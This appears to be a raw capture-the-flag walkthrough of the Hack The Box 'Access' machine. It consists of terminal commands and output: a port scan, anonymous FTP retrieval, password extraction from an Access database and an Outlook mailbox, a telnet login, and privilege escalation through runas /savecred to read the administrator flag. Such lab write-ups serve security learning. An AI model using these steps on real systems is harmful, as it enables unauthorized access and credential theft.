FTP ANON LOGIN

RUNAS ADMINISTRATOR

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_Can't get directory listing: PASV failed: 425 Cannot open data connection.

| ftp-syst:

|_ SYST: Windows_NT

23/tcp open telnet?

80/tcp open http Microsoft IIS httpd 7.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/7.5

|_http-title: MegaCorp

root@akg:/home/akg/Desktop/hackthebox/access# ftp access.htb accesscontrol.zip backup.mdb

root@akg:/home/akg/Desktop/hackthebox/access# file backup.mdb

backup.mdb: Microsoft Access Database

root@akg:/home/akg/Desktop/hackthebox/access# strings backup.mdb > akg

root@akg:/home/akg/Desktop/hackthebox/access# cat akg | grep access

access4u@security

root@akg:/home/akg/Desktop/hackthebox/access# 7z x Access\ Control.zip -p access4u@security

root@akg:/home/akg/Desktop/hackthebox/access# readpst Access\ Control.pst

root@akg:/home/akg/Desktop/hackthebox/access# strings Access\ Control.mbox

Hi there,

The password for the

security

account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.

Regards,

John

root@akg:/home/akg/Desktop/hackthebox/access# telnet access.htb

Trying 10.10.10.98...

Connected to access.htb.

Escape character is '^]'.

Welcome to Microsoft Telnet Service

login: security

password:

USER SHELL!!!!!!!!!

C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"

C:\Users\Public\Desktop>runas /savecred /user:ACCESS\Administrator "cmd.exe /C type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\Desktop\out.txt"